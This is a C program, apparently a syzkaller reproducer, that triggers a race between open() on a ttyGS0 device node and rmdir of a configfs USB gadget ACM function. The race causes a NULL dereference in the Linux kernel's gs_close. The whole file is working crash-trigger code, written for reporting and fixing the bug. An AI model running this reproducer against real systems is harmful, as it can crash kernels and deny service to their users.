// https://syzkaller.appspot.com/bug?id=fd7b1d7e6601a3aa4899ac2778593cb626e19261 #include #include #include #include #include #include #include #include #include #include #include #define GADGET_BASE "/sys/kernel/config/usb_gadget/g1" #define FUNC_DIR GADGET_BASE "/functions/acm.usb0" #define DEV_PATH "/tmp/ttyGS0" static volatile int stop = 0; static int write_file(const char *path, const char *val) { int fd = open(path, O_WRONLY); if (fd < 0) { printf("[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } ssize_t len = strlen(val); ssize_t written = write(fd, val, len); if (written != len) { printf("[-] Failed to write to %s: %s\n", path, strerror(errno)); close(fd); return -1; } close(fd); return 0; } void *open_thread(void *arg) { while (!stop) { /* * Race window: If open() resolves the cdev just before rmdir() calls cdev_del(), * and then gs_open() is called after rmdir() sets ports[port_num].port = NULL, * gs_open() will return -ENODEV. tty_release() will then call gs_close(), * which dereferences the NULL tty->driver_data. */ int fd = open(DEV_PATH, O_RDWR | O_NOCTTY | O_NONBLOCK); if (fd >= 0) { close(fd); } } return NULL; } void *rmdir_thread(void *arg) { while (!stop) { mkdir(FUNC_DIR, 0755); usleep(100); rmdir(FUNC_DIR); usleep(100); } return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); int res; res = mount("none", "/sys/kernel/config", "configfs", 0, NULL); if (res < 0 && errno != EBUSY) { printf("[-] Failed to mount configfs: %s\n", strerror(errno)); exit(1); } printf("[+] mount configfs successful.\n"); res = mkdir("/sys/kernel/config/usb_gadget", 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir /sys/kernel/config/usb_gadget: %s\n", strerror(errno)); exit(1); } printf("[+] mkdir /sys/kernel/config/usb_gadget successful.\n"); res = mkdir(GADGET_BASE, 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", GADGET_BASE, strerror(errno)); exit(1); } printf("[+] mkdir %s successful.\n", GADGET_BASE); res = write_file(GADGET_BASE "/idVendor", "0x1d6b\n"); if (res < 0) exit(1); printf("[+] write idVendor successful.\n"); res = write_file(GADGET_BASE "/idProduct", "0x0104\n"); if (res < 0) exit(1); printf("[+] write idProduct successful.\n"); /* Allocate the line and register ttyGS0 to get major/minor */ res = mkdir(FUNC_DIR, 0755); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir %s: %s\n", FUNC_DIR, strerror(errno)); exit(1); } printf("[+] mkdir %s successful.\n", FUNC_DIR); int major = 0, minor = 0; for (int i = 0; i < 50; i++) { FILE *f = fopen("/sys/class/tty/ttyGS0/dev", "r"); if (f) { if (fscanf(f, "%d:%d", &major, &minor) == 2) { fclose(f); break; } fclose(f); } usleep(100000); } if (major == 0) { printf("[-] Failed to find ttyGS0 major/minor\n"); exit(1); } printf("[+] Found ttyGS0 major/minor: %d:%d\n", major, minor); /* Create our own device node so we can open it concurrently with rmdir */ res = mknod(DEV_PATH, S_IFCHR | 0666, makedev(major, minor)); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mknod %s: %s\n", DEV_PATH, strerror(errno)); exit(1); } printf("[+] mknod %s successful.\n", DEV_PATH); /* Clean up the initial function before starting the race */ res = rmdir(FUNC_DIR); if (res < 0) { printf("[-] Failed to rmdir %s: %s\n", FUNC_DIR, strerror(errno)); } else { printf("[+] rmdir %s successful.\n", FUNC_DIR); } pthread_t t1, t2; res = pthread_create(&t1, NULL, open_thread, NULL); if (res != 0) { printf("[-] Failed to create open_thread: %s\n", strerror(res)); exit(1); } printf("[+] open_thread created.\n"); res = pthread_create(&t2, NULL, rmdir_thread, NULL); if (res != 0) { printf("[-] Failed to create rmdir_thread: %s\n", strerror(res)); exit(1); } printf("[+] rmdir_thread created.\n"); sleep(5); stop = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[+] Reproducer finished.\n"); return 0; }